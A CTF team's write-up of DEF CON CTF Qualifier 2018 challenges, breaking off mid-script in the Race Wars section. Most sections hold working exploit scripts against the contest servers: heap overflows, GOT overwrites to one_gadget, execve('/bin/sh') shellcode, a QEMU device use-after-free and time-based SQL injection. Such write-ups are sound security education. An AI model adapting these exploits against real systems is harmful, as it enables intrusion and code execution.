# DEF CON CTF Qualifier 2018
Written by BFS
BFS consists of four CTF teams form Taiwan: Balsn, Bamboofox, DoubleSigma, KerKerYuan.
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180512-defconctfqual/) of this writeup.**
 - [DEF CON CTF Qualifier 2018](#def-con-ctf-qualifier-2018)   - [Amuse Bouche](#amuse-bouche)     - [ELF Crumble](#elf-crumble)     - [You Already Know - warmup](#you-already-know---warmup)     - [Easy Pisy - crypto, web](#easy-pisy---crypto-web)     - [babypwn1805 - pwn](#babypwn1805---pwn)     - [sbva - Web](#sbva---web)   - [Appetizers](#appetizers)     - [It's-a me!](#its-a-me)     - [shellql](#shellql)     - [flagsifier - Reverse](#flagsifier---reverse)         - [Behavior](#behavior)     - [Note Oriented Programming](#note-oriented-programming)   - [From The Grill](#from-the-grill)     - [elastic cloud compute (memory) corruption](#elastic-cloud-compute-memory-corruption)     - [Race Wars](#race-wars)     - [Say Hi!](#say-hi)     - [exzendtential-crisis (unsolved)](#exzendtential-crisis-unsolved)   - [Guest Chefs](#guest-chefs)     - [PHP Eval White-List](#php-eval-white-list)     - [ghettohackers: Throwback](#ghettohackers-throwback)     - [ddtek: Preview](#ddtek-preview)       - [reverse](#reverse)       - [exploit](#exploit)
## Amuse Bouche
### ELF CrumbleOriginal binary in range 0x05ad ~ 0x08d3 is filled with `X`. Search through all 8! permutation of fragments to get the flag.
### You Already Know - warmup* Open the problem -> F12 -> Network -> Reopen the problem -> See the flag.  `OOO{Sometimes, the answer is just staring you in the face. We have all been there}`
### Easy Pisy - crypto, web
- Service 
    * First service : Server will Recognized pdf input via OCR and sign `(by openssl_sign($data, $signature, $privkey)`, but it will reject to sign on EXECUTE command)
    * Second one : Give the signed value and pdf, this service will execute the command(extracted by ocr) if the signed verify.
- We found that this function will `sha1(data)` before signing.
Therefore, draw two command on picture,and put them into the pdf, Google released last year, to get two pdf with sha1-collision.
1. send the picutre 1 (`without EXECUTE`) to first service to `get the signature`
2. pass this signature and sha1-collision pdf ( with `EXECUTE cat<flag`) to get the flag.
[python script](https://github.com/sonickun/sha1-collider/blob/master/collider.py)
### babypwn1805 - pwn* Overwrite the pointer of program name, and trigger `SSP` -> leak information.* Get serveral `libc`.* Overwite `GOT read` with `onegadget` -> with probability 1/16 (correct libc).* `/opt/ctf/babypwn/home/flag`.* `OOO{to_know_the_libc_you_must_become_the_libc}`
```python=#!/usr/bin/env pythonfrom pwn import *import sysimport structimport hashlibimport randomfrom threading import Timer
# OOO{to_know_the_libc_you_must_become_the_libc}
def pow_hash(challenge, solution):    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution):    h = pow_hash(challenge, solution)    return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n):    candidate = 0    while True:        if check_pow(challenge, n, candidate):            return candidate        candidate += 1
def hit():    cmd = 'id;LD_PRELOAD='';'    cmd += 'cat /opt/ctf/babypwn/home/flag;'    cmd += 'ls -al /opt/ctf/babypwn/home/;'    cmd += 'source /opt/ctf/babypwn/flag.txt 2>&1;'    #cmd += 'python -c \'import pty; pty.spawn("/bin/bash")\''    y.sendline( cmd )    print y.recv( 2048 )
host , port = 'e4771e24.quals2018.oooverflow.io' , 31337y = remote( host , port )
y.recvuntil( ': ' )challenge = y.recvline().strip()y.recvuntil( ': ' )n = int( y.recvline() )y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )
success( 'Go' )
t = 0.3y.recvuntil( 'Go\n' )
for i in xrange( 0x10000 ):    y.send( p64( 0xffffffffffffffc8 ) )    p = 0xae77    y.send( p16( p ) )    t = Timer(1.0, hit)    t.start()    y.recvuntil( 'Go' , timeout=1 )    t.cancel()```
### sbva - Web
This is one of the easiest challenges in the comptition.
First, we are given the admin's username and password to login, but the server will return `Incompatible browser detected`. How does the server derect our browser? A quick guess is through the `User-Agent` header. So what if the header does not contain the user agent string?
``` sh$ curl 'http://0da57cd5.quals2018.oooverflow.io/login.php' -d '[email protected]&password=admin' -H 'User-Agent:'`
<br />Notice:  Undefined index: HTTP_USER_AGENT in /var/www/html/browsertest.php on line 3
<html>    <style scoped>        h1 {color:red;}        p {color:blue;}     </style>    <video id="v" autoplay> </video>    <script>        if (navigator.battery.charging) {            console.log("Device is charging.")        }    </script></html>```
A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It's sorts of silly to try each of them since the server might detect the version number as well.
In order to reduce possible user agent, [navigator.battery](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/battery) in javascript is an important clue. It seems that only Chrome and Firefox support this.
Let's try Firefox with different version number first. The Firefox user agent spcification is [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox), though I'm just blindly trying the possibile version number without following the specification.
```python#!/usr/bin/env python3# Python 3.6.5import requestsfrom itertools import product
s = requests.session()                                                                                                                  for i, j in product(range(0, 6), range(0, 51)):    agent = f'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0'    headers={'User-Agent': agent}    r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='[email protected]', password='admin'), headers=headers)    print(r.text, i, j)```
Surprisingly, we get the flag when the user agent is `Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0`.
Flag: `OOO{0ld@dm1nbr0wser1sth30nlyw@y}`
## Appetizers
### It's-a me!
* When odering pizza, Mario checks whether the pineapple Emoji Unicode (\xF0\x9F\x8D\x8D) exists for each ingridient, so we can split the Unicode into two ingridients ('\xF0\x90\xF0\x9F' and '\x8D\x8D') to bypass Mario's check* After cooking a pizza with fake pinapple (’\xF0\x90\xF0\x9F’ and ‘\x8D\x8D’), it will trigger a heap overflow vulnerability.* By ordering and cooking some pizzas between the ordering and cooking of the fake pinapple pizza, we can make the heap overflow overwrite the pointer to the ingredient. Since at first we don't have any addresses and the read function appends null byte at the end, we make it so that the pointer to the ingredient with LSB overflowed by 0x00 points to a heap address. Cook the pizza and we leak heap address.* We use the same way to leak libc address, but since now we have heap address, we don't have to partial overwrite the pointer to the ingridient with null byte anymore.* The way to hijack control flow is similar too. There is a pointer to a function pointer on each pizza cooked, which is call when they are admired. We overflow that with one_gadget.* `OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}`
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom subprocess import check_outputimport re
context.arch = 'amd64'
r = remote('83b1db91.quals2018.oooverflow.io', 31337)
def PoW():    r.recvuntil('Challenge: ')    x = r.recvline().strip()    r.recvuntil('n: ')    xx = r.recvline().strip()    x = subprocess.check_output(['./pow.py', x, xx])    xx = re.findall('Solution: (.*) ->', x)[0]    r.sendlineafter('Solution:', xx)
PoW()
def new(name):    r.sendlineafter('Choice:', 'N')    r.sendlineafter('name?', name)
def login(name):    r.sendlineafter('Choice:', 'L')    r.sendlineafter('name?', name)
def order(pn, ign, igs):    r.sendlineafter('Choice:', 'O')    r.sendlineafter('pizzas?', str(pn))    for i in range(pn):        r.sendlineafter('ingredients?', str(ign[i]))        for j in range(ign[i]):            r.sendlineafter('ingridient', flat(igs[i][j]))
def cook(decl):    r.sendlineafter('Choice:', 'C')    r.sendlineafter('explain', decl)
def admire():    r.sendlineafter('Choice:', 'A')
def leave():    r.sendlineafter('Choice:', 'L')
def please(payload):    r.sendlineafter('Choice:', 'P')    r.sendlineafter('yourself:', payload)
pineapple = 0x8d8d9ff0tomato = 0x858d9ff0chicken = 0x94909ff0banana = 0x8c8d9ff0poo = 0xa9929ff0
new('A')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('B'*0x30)order(1, [1], [[tomato]])leave()
login('B'*0x30)cook('a'*290)leave()
new('C'*0x50)n = 4order(1, [n], [['a'*20]*n])leave()
login('A')cook('a')please('C'*32)
login('C'*0x50)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0]heap = u64(xx.ljust(8, '\x00'))-0x11e30print 'heap:', hex(heap)
# exaust heapleave()new('D')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()for i in range(9):    new(chr(0x45+i))    order(1, [1], [[tomato]])    leave()
new('N')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('O'*0x30)n = 4order(1, [n], [['a'*16]*n])leave()
login('M')cook('a'*290)leave()
login('N')cook('a')#raw_input("@3")please('C'*24+flat(    0x91,    heap+0x132c8, 0x10,    0x10, 0,    heap+0x132c8,)+'\x10')
login('O'*0x30)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0][:6]libc = u64(xx.ljust(8, '\x00'))-0x3c4b78print 'libc:', hex(libc)system = libc+0x45390magic = libc+0xf1147leave()
login('D')cook('a')#raw_input("@2")please(flat(    [0]*3, 0x21,    heap+0x138f0, 0,    0, 0x41,    heap+0x138f0+0x10, heap+0x13930,    magic,))login('O'*0x30)admire()
r.interactive()
```
### shellql
* We can upload our shellcode and it will be executed* They set prctl(22, 1LL); so we can only trigger `read` `write` `exit`* We can communicate with mysql via fd 4* According to [this](https://dev.mysql.com/doc/internals/en/com-query.html), we can forge a correct mysql packet* However, we cannot read from mysql* Time to use time-based attack`SELECT 1 from flag where (select substring(flag,1,4) from flag) = "OOO{" and SLEEP(10);`
* The exploit script:
```python# coding: utf-8from pwn import *import requestsimport stringimport hashlibcontext.arch='amd64'def mdd5(ss):    print ss    a=hashlib.md5()    a.update(ss)    return a.hexdigest()def run(code, timeout=1):    s = asm(code)    assert( '\0' not in s and len(s) < 1000)    try:        req = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php', data={            'shell': s        }, timeout=timeout)    except requests.exceptions.ReadTimeout:        print ('Timeout')        return 1    else:        return 0
def qqq(payload):    lenn=p32(len(payload)+1)[0]    pp=lenn+'\x00\x00\x00\x03'+payload    a=run(shellcraft.write(4, pp, len(pp)) + 'xor rax, rax;' + shellcraft.read(4, 'esp', 4) + 'inc rax; cmp rax, 1; jge .+0; ret', timeout=4)    return a
flag=""for i in range(70):  for j in "y SQL"+string.printable:    if qqq('SELECT 1 from flag where (select substring(flag,1,'+str(len(flag)+1)+') from flag) = "'+flag+j+'" and SLEEP(10);') == 1:      flag+=j      print flag      break
flag2="OOO{"for i in range(4,70):  if qqq('SELECT 1 from flag where (select md5(substring(flag,'+str(i)+',1)) from flag) = "'+mdd5(flag[i].upper())+'" and SLEEP(10);')  == 1:    flag2+=flag[i].upper()  else:    flag2+=flag[i].lower()  print flag2
## flag is OOO{shellcode and webshell is old news, get with the times my friend!}```
### flagsifier - Reverse* Part 1    ##### Behavior    * Input is composed of 38 28x28 handwritten English characters.    * Random combination of characters will be predicted as class 3.    * Repeat a character 38 times will be predicted as class 14~39, which is class A~Z.    * Using gradient ascent on input image will not produce readable picture. When we add a constraint that all 38 characters should be the same, class 14~39 can generate input with score 1, but failed on class 1~13. Implies that class 1~13 is consists of multiple characters.    * Start with random combination of characters, we use Simulated Annealing to replace characters in input image. We can generate input image for each class with very high score. The images is not unique, but will be similar to ground truth.    * Class 0 starts with a lot of `O` that isn't like a flag.    * Class 1 is `OOOTHISISA.....MESSAGETOWASTEYOURTIME` which is a fake flag.    * Class 2 starts with `OOO`.    * Class 3~13 doesn't start with `OOO`.    * We guessed Class 2 is true flag, so we generate a lot of possible input images to get probabilities of each character at each position.    * Code:
```python#!/usr/bin/python3import sys
dim = int(sys.argv[1])
flag = '......................................'
reset = False # Change to False when known part is long enough#  flag = 'OOOOOOOOOOOOOOOOI.....................' # dim = 0#  flag = 'OOOOTHISISA.....MESSAGETOWASTEYOURTIME' # dim = 1flag = 'OOO.............INTELLIGENCEISREQUIRED' # dim = 2
import numpy as npfrom PIL import Imageimport osfrom tqdm import tqdm, trangeimport randomfrom keras.models import load_model, Model
model = load_model('model.h5')model = Model(input=model.input, output=model.layers[-2].output)
data = [np.asarray(Image.open('sample_%d.png' % i)).reshape(28, 1064).astype(np.float) for i in range(10)]data = [im for d in data for im in np.split(d, 38, axis=1)]char = ''.join([    'RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIUI',    'MOLDERINGIINTELSDEDICINGCOYNESSDEFIECT',    'AMADOFIFESINSTIIIINGGREEDIIVDISIOCATIN',    'HAMIETSENSITIZINGNARRATIVERECAPTURINGU',    'EIECTROENCEPHAIOGRAMSPALATECONDOIESPEN',    'SCHWINNUFAMANAGEABLECORKSSEMICIRCIESSH',    'BENEDICTTURGIDITYDSYCHESPHANTASMAGORIA',    'TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW',    'KINGFISHERCOMMONERSUERIFIESHORNETAUSTI',    'LIQUORHEMSTITCHESRESPITEACORNSGOALREDI',])data = list(zip(data, char))
def softmax(x):    """Compute softmax values for each sets of scores in x."""    e_x = np.exp(x - np.max(x))    return e_x / e_x.sum()
for z in trange(100):    if reset or z == 0:        img, text = zip(*random.sample(data, 38))        img = np.concatenate(img, 1).reshape(1, 28, 1064, 1)        text = list(text)        r = model.predict([img])[0]        score = r[dim]    bar = trange(1000)    bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score)    for i in bar:        cur = img.copy()        while True:            idx = random.randrange(0, 38)            im, c = random.sample(data, 1)[0]            if text[idx] != flag[idx] or flag[idx] == c:                break        cur[0,:, idx*28:(idx+1)*28,0] = im        r = model.predict([cur])[0]        s = r[dim]        if ( text[idx] != flag[idx] and flag[idx] == c ) or s > score or random.random() < (100/(i+100 + z *10)) ** 4:            text[idx] = c            bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score)            score = s            img = cur    tqdm.write(''.join(text))    bar.close()```
* Part 2    * Use dictionary and trie to find all the possible sentences.    * Dictionary: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt    * Remember to remove the useless words that length is in range 1~3.    * Code:
        ```C++        #include<bits/stdc++.h>        #define f first        #define s second        using namespace std;        //typedef pair<int,int>par;        typedef pair<double,double>par;        int nod[1000005][26],id=2;        bool ok[1000005];        string ans;        vector<int>ve[38];        void F(int nw,int now){            if(nw==38){                if(now==1)cout<<ans<<endl;                return ;            }            for(int x:ve[nw]){                if(!nod[now][x])continue;                ans.push_back('A'+x);                F(nw+1,nod[now][x]);                if(ok[nod[now][x]]){                    ans.push_back(' ');                    F(nw+1,1);                    ans.pop_back();                }                ans.pop_back();            }        }        int main(){            string s;            int count=0;            while(cin>>s){                if(s=="0")break;                if(++count>1000&&s.length()<=3)continue;                int now=1;                for(char &c:s){                    c|=32;                    if(!nod[now][c-'a'])                        nod[now][c-'a']=id++;                    now=nod[now][c-'a'];                }                ok[now]=1;            }            while(cin>>s){                if(s=="0")break;                for(char &c:s)                    c|=32;                for(int i=0;i<38;i++)                    ve[i].push_back(s[i]-'a');            }            for(int i=0;i<38;i++)                sort(ve[i].begin(),ve[i].end()),                ve[i].resize(unique(ve[i].begin(),ve[i].end())-ve[i].begin());            F(0,1);            //for(int i=0;i<38;i++)            return 0;        }        ```
    * input
        ```        [The Dictionary]        0        OOOTOYEUUTHTNTICINTELLIGENCEISREQUIRED        OOOTOYEGUTHTNTICINTELLIGENCEISREQUIRED        OOOIOYCUUTUCNTICINTELLIGENCEISREQUIRED        OOOSOYEUUCUTNTICINTELLIGENCEISREQUIRED        OOOTOYCGLCHENTICINTELLIGENCEISREQUIRED        OOOTOYCUUCUCNTUCINTELLIGENCEISREQUIRED        OOOIOYEULTUTNTICINTELLIGENCEISREQUIRED        OOOSOYCULTUCNTICINTELLIGENCEISREQUIRED        OOOTOYEAUTUTWCICINTELLIGENCEISREQUIRED        OOOSOYEOUTUTNTICINTELLIGENCEISREQUIRED        OOOSOYCGHTUENTICINTELLIGENCEISREQUIRED        OOOTOYCGLTYCNTICINTELLIGENCEISREQUIRED        OOOTOYEUUTUTNTICINTELLIGENCEISREQUIRED        OOOTOYEAUTUTNCICINTELLIGENCEISREQUIRED        OOOSOYCUUTHCNTIOINTELLIGENCEISREQUIRED        OOOSOORONTNCNTIOINTELLIGENCEISREQUIRED        OOOSOMCSHTGCWTICINTELLIGENCEISREQUIRED        OOOTOMEOGTSTNTITINTELLIGENCEISREQUIRED        OOOIOOEHUTUTNTITINTELLIGENCEISREQUIRED        OOOINOEUUTATHTICINTELLIGENCEISREQUIRED        OOOTCMCSNSATNTICINTELLIGENCEISREQUIRED        OOOTGWRSUTNCNTICINTELLIGENCEISREQUIRED        OOOSOQEAUIUCWSICINTELLIGENCEISREQUIRED        OOOTOOECHIUCNTIGINTELLIGENCEISREQUIRED        OOOTOWEGHSOTHTIEINTELLIGENCEISREQUIRED        OOOSOMEGNTOENTILINTELLIGENCEISREQUIRED        OOOSCOCGNTHTNTILINTELLIGENCEISREQUIRED        OOOSONEGNTNCNTICINTELLIGENCEISREQUIRED        OOOSCOCYNTOTUTICINTELLIGENCEISREQUIRED        OOOSDUEONCOTLTIOINTELLIGENCEISREQUIRED        OOOTDUCONTNTLTIDINTELLIGENCEISREQUIRED        OOOTCMCGNCNTNTITINTELLIGENCEISREQUIRED        OOOTQYFGNTATNTUEINTELLIGENCEISREQUIRED        OOOSDUECLTUTNTICINTELLIGENCEISREQUIRED        OOOTOWCUNTUTNTILINTELIIGENCEISREOUIRED        OOOTOMSGUTHENTICINTELLIGENCEISREOUIRED        OOOTOUTGLTOENCUCINTELLIGENCEISREQUIRED        OOOTOUEUUTNENTICINTELLIGENCEISREQUIRED        OOOTOMEGUTOENCICINTELLIGENCEISREQUIRED        OOOTONEGLTUCNTIOINTELLIGENCEISREQUIRED        OOOTOOEANTSENTICINTELLIGENCEISREQUIRED        OOOTOUEUUTUELIICINTELLIGENCEISREQUIRED        OOOTOMCAUTYENCICINTELLIGENCEISREQUIRED        OOOTOYCCNTYTWTICINTELLIGENCEISREQUIRED        OOOTOOCANCUTNTICINTELLIGENCEISREQUIRED        OOOTOMEINIHENTICINTELLIGENCEISREQUIRED        OOOTOYEUNTYTNTICINTELLIGENCEISREQUIRED        OOOTOOEUUTHCNTICINTELLIGENCEISREQUIRED        OOOTOMCULTUTNTIOINTELLIGENCEISREQUIRED        OOOTOMEYNTUENTICINTELLIGENCEISREQUIRED        OOOYOMEUMTURMIJCINTELLIGENCEISREQUIRED        OOOIDMEUMTURWYJCINTELLIGENCEISREQUIRED        OOOLDMEUMTURWYLCINTELLIGENCEISREQUIRED        0        ```    * Flag: `OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED`
### Note Oriented Programming* Setup the value on the stack and call sys_sigreturn* After that, eax = 0x3 ebx=0x0 ecx=0x6060654f edx=0x4f4f4f4f cs=0x23 ss=0x2b ds=0x2b* Now eip is 0x60606565 pointer to "int 0x80" to call sys_read* Then, write shellcode on the 0x6060654f to get shell
```python=from __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *# inspired by C3CTF's POW
table = ['A' , 'A#' , 'B' , 'C' , 'C#' , 'D' , 'D#' , 'E' , 'F' , 'F#' , 'G' , 'G#']
def val(x):        a = table.index(x[:-1])*1.0        b = float(x[-1])        return (2.0**(b+a/12.0))*27.5
 cmd = ["F9","G0"]*0xecmd += ["G9","G0"]*0x40cmd += ["A2","G0","A0","G0"]cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]*0x17cmd += ["G9","G0"]*0x6cmd += ["A2","F8"] cmd += ["A0","G0"]cmd += ["A4","A9","E0","A4","D9","E0"]cmd += ["A0","G1"] cmd += ["A0","G2"] cmd += ["A4","A9","E0","A4","D9","E0","A2","F8"]cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G3"] cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G4"] cmd += ["A0","G5"] cmd += ["A0","G6"] cmd += ["G9","G0"]*6cmd += ["G0","G0"]*8 cmd += ["G9","G0"]cmd += ["A2","F8"]cmd += ["A0","G0"]cmd += ["A0","G1"] cmd += ["A4","A9","E0","A4","D9","E0"] cmd += ["A0","G2"] cmd += ["A0","G3"]cmd += ["A4","A9","E0","A4","D9","E0","A2","F9","A2","F2","A4","A9","E0","A4","F9","E0"]cmd += ["A0","G4"]cmd += ["A2","F9","A2","F2","A4","A9","E0","A4","F9","E0","A2","F8"] cmd += ["G9","G0"]*4cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"] cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"] cmd += ["G0","G0"]*0xccmd += ["F9","G0"]*0x7 cmd += ["A2","F8","A4","A9","E0","A4","B9","E0","G2","G0"]cmd += ["D9","G0"]*(0x70-0x1f)+["D#7"]*0x1f
def pow_hash(challenge, solution):    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution):    h = pow_hash(challenge, solution)    return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n):    candidate = 0    while True:        if check_pow(challenge, n, candidate):            return candidate        candidate += 1
if __name__ == '__main__':    r = remote("4e6b5b46.quals2018.oooverflow.io",31337)    r.recvuntil("Challenge: ")    challenge = r.recvline()[:-1]    r.recvuntil("n: ")    n = int(r.recvline()[:-1])    print('Solving challenge: "{}", n: {}'.format(challenge, n))
    solution = solve_pow(challenge, n)    print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution)))    r.sendlineafter("Solution:",str(solution))
    for c in cmd:        r.send(p16(val(c)))
    r.send(p16(0x0))
    payload = "\x90"*0x18    payload += asm("""    mov esp,0x40404a00    push 0x0068732f    push 0x6e69622f    mov eax,0xb    mov ebx,esp    xor ecx,ecx    xor edx,edx    int 0x80    """)    r.send(payload)    r.interactive()
```## From The Grill
### elastic cloud compute (memory) corruption
* It will use qemu-system-x86_64 to boot a vm* It tells us, we need to do something with PCI device* Then I found this [writeup](https://kitctf.de/writeups/hitb2017/babyqemu)* Now we know that we need to exploit via `/sys/devices/pci0000:00/0000:00:04.0/resource0`* Decompile qemu-system-x86_64 and look for mmio read write function.* I only leveraged write funtion* There is a buffer which is located at `0x1317940` and three kinds of operations* You can `malloc` `free` `write` some chunks. And all the chunk will be on that buffer* I list the write function here:
```cvoid __fastcall OOO_mmio_write(__int64 a1, __int64 offset, __int64 value, unsigned int a4){  unsigned int v4; // eax@1  char n[12]; // [sp+4h] [bp-3Ch]@1  __int64 v6; // [sp+10h] [bp-30h]@1  __int64 v7; // [sp+18h] [bp-28h]@1  __int16 v8; // [sp+22h] [bp-1Eh]@11  int i; // [sp+24h] [bp-1Ch]@5  unsigned int v10; // [sp+28h] [bp-18h]@1  unsigned int v11; // [sp+2Ch] [bp-14h]@4  unsigned int v12; // [sp+34h] [bp-Ch]@11  __int64 v13; // [sp+38h] [bp-8h]@1
  v7 = a1;  v6 = offset;  *(_QWORD *)&n[4] = value;  v13 = a1;  v10 = ((unsigned int)a2 & 0xF00000) >> 20;  v4 = ((unsigned int)a2 & 0xF00000) >> 20;  if ( v4 == 1 )  {    free(*(&qword_1317940 + (((unsigned int)v6 & 0xF0000) >> 16)));  }  else if ( v4 == 2 )  {    v12 = ((unsigned int)v6 & 0xF0000) >> 16;    v8 = v6;    memcpy((char *)*(&qword_1317940 + (signed int)v12) + (signed __int16)v6, &n[4], a4);  }  else if ( !v4 )  {    v11 = ((unsigned int)v6 & 0xF0000) >> 16;    if ( v11 == 15 )    {      for ( i = 0; i <= 14; ++i )        *(&qword_1317940 + i) = malloc(8LL * *(_QWORD *)&n[4]);    }    else    {      *(&qword_1317940 + (signed int)v11) = malloc(8LL * *(_QWORD *)&n[4]);    }  }}```
* The operation will be determined by IO offset. When your write offset is 0xabXXXX. * If a==1, then it will trigger free operation. * If a==2, then it will trigger write operation.* Otherwise, it will trigger malloc.* And b indicate the chunk offset on 0x1317940* The value will be the chunk size or the value written on the chunk* XXXX will be the offset on the chunk* There is a UAF vulnerabilty!! You can overwrite freed chunk to launch fastbin attack.* We can forge a fake chunk on the 0x1317940. then we can write 0x1317940. It also means that we have an arbitrary write.* We can overwrite GOT to hijack control flow* There is a magic function which is located at 0x6e65f9. It will triger system("cat ./flag")* Use GOT-hijacking then you can run that magic function and get the flag* Unfortunately we cannot upload a binary on remote vm, becasue the vm has no network connection. We can base64 encode our binary and send it to the vm. But the binary needs to be small enough, or you cannot send the whole binary because of network conditon.* So I write some shellcode for exploit.* The shellcode:
```nasmsection .data    msg db      "/sys/devices/pci0000:00/0000:00:04.0/resource0"section .text    global _start_start:    mov     rax, 2    mov     rdi, msg    mov     rsi, 2    mov     rdx, 0    syscall    mov    rdi, 0    mov    rsi, 0x1000000    mov    rdx, 3    mov    r10, 1    mov    r8, rax    mov    r9, 0    mov    rax,9    syscall    mov    rcx, rax    mov    WORD [rax+0x20000],0xc             # malloc a chunk on 0x1317940+0x8*2    mov    BYTE [rax+0x120000],0xc            # free the chunk on 0x1317940+0x8*2    mov    DWORD [rax+0x220000],0x131794d     # overwrite the fd on 0x1317940+0x8*2    mov    DWORD [rax+0x220004],0x0           #    mov    BYTE [rax+0x10000],0xc             # malloc once    mov    BYTE [rax+0x10000],0xc             # malloc twice , now we have a chunk at 0x131794d    mov    DWORD [rax+0x210000],0xa0000000    # forge a fake chunk address on 0x1317960 and the address will be free got (0x11301a0)    mov    DWORD [rax+0x210004],0x11301       #    mov    DWORD [rax+0x240000],0x6e65f9      # Overwrite free got. The new address will trigger system("cat ./flag")    mov    DWORD [rax+0x240004],0x0           #    mov    DWORD [rax+0x120000],0x0           # Trigger free and get the flag !!    mov    rax, 60    xor    rdi, rdi    syscall# nasm -felf64 a.asm -o a.o && ld a.o && base64 a.out > shellcode```* And the code to send shellcode:
```pythonimport sysimport structimport hashlibfrom pwn import *
# inspired by C3CTF's POW
def pow_hash(challenge, solution):    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution):    h = pow_hash(challenge, solution)    return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n):    candidate = 0    while True:        if check_pow(challenge, n, candidate):            return candidate        candidate += 1
r=remote("11d9f496.quals2018.oooverflow.io",31337)r.recvuntil("Challenge:")cha=r.recvline().strip("\n")r.recvuntil("n:")n=r.recvline().strip("\n")
solution = solve_pow(cha[1:], int(n))
r.sendline(str(solution))r.recvuntil("/ #")f=open("shellcode")for i in f.readlines():  r.sendline('echo "'+i.strip('\n')+'" >> 1234')r.sendline("base64 -d 1234 > bb")r.sendline("chmod +x ./bb")r.sendline("./bb")r.interactive()# The flag is OOO{did you know that the cloud is safe}```
### Race Wars1. The vulnerability exists during the program asks for tire amount; when doing so, we can apply for 0x8000000 tires to cause int overflow (0x8000000*0x20 = 0), and make the program allocate 0-size memory, but the tires struct can still be placed on heap for us to control.2. Use transmission function to overlap the tires struct and transmission struct 3. Use modify_tires functions to set all the attributes of tire as 0xffff4. Use modify_transmission function to get relative address read/write capability of arbitrary memory5. Read heap address and code GOT address to get libc address, then modify exit GOT to one_gadget, call exit, and get shell* code:
```python=from pwn import *import sysimport timeimport randomhost = '2f76febe.quals2018.oooverflow.io'port = 31337
binary = "./racewars"context.binary = binaryelf = ELF(binary)try:  libc = ELF("./libc.so.6")  log.success("libc load success")  system_off = libc.symbols.system  log.success("system_off = "+hex(system_off))except:  log.failure("libc not found !")
def new():  pass
def edit():  pass
def remove():  pass
def show(start,end):  pass  r.recvuntil(start)  data = r.recvuntil(end)[:-len(end)]  return data
if len(sys.argv) == 1:  r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})  #r = remote("127.0.0.1" ,4444)
else:  r = remote(host ,port)  r.recvuntil("Challenge: ")  Challenge = r.recvuntil("\n")[:-1]  r.recvuntil("n:")  n = r.recvuntil("\n")[:-1]  r.recvuntil("Solution:")  p = process(["/usr/bin/python", "./pow.py",Challenge ,n ])  print "pow..."  p.recvuntil("Solution: ")  ans = p.recvuntil(" ")[:-1]  r.sendline(ans)
def tires(num):  r.recvuntil("E: ")  r.sendline("1")  r.recvuntil("?\n")  r.sendline(str(num))
def chassis(option):  r.recvuntil("E: ")  r.sendline("2")  r.recvuntil("pse\n")  r.sendline(str(option))
def engine():  r.recvuntil("E: ")  r.sendline("3")
def transmission(option):  r.recvuntil("E: ")  r.sendline("4")  r.recvuntil("? ")  r.sendline(str(option))
def modify_tires_w(width):  r.recvuntil("E: ")  r.sendline("1")  r.recvuntil(": ")  r.sendline("1")  r.recvuntil(": ")  r.sendline(str(width))
def modify_tires_a(ratio):  r.recvuntil("E: ")  r.sendline("1")  r.recvuntil(": ")  r.sendline("2")  r.recvuntil(": ")  r.sendline(str(ratio))
def modify_tires_c(radial):  r.recvuntil("E: ")  r.sendline("1")  r.recvuntil(": ")  r.sendline("3")  r.recvuntil(": ")  r.sendline(str(radial))
def modify_tires_d(diameter):  r.recvuntil("E: ")  r.sendline("1")  r.recvuntil(": ")  r.sendline("4")  r.recvuntil(": ")  r.sendline(str(diameter))
def modify_chassis():  r.recvuntil("E: ")  r.sendline("2")  r.recvuntil(": ")  r.sendline("1")
def modify_engine():  r.recvuntil("E: ")  r.sendline("3")
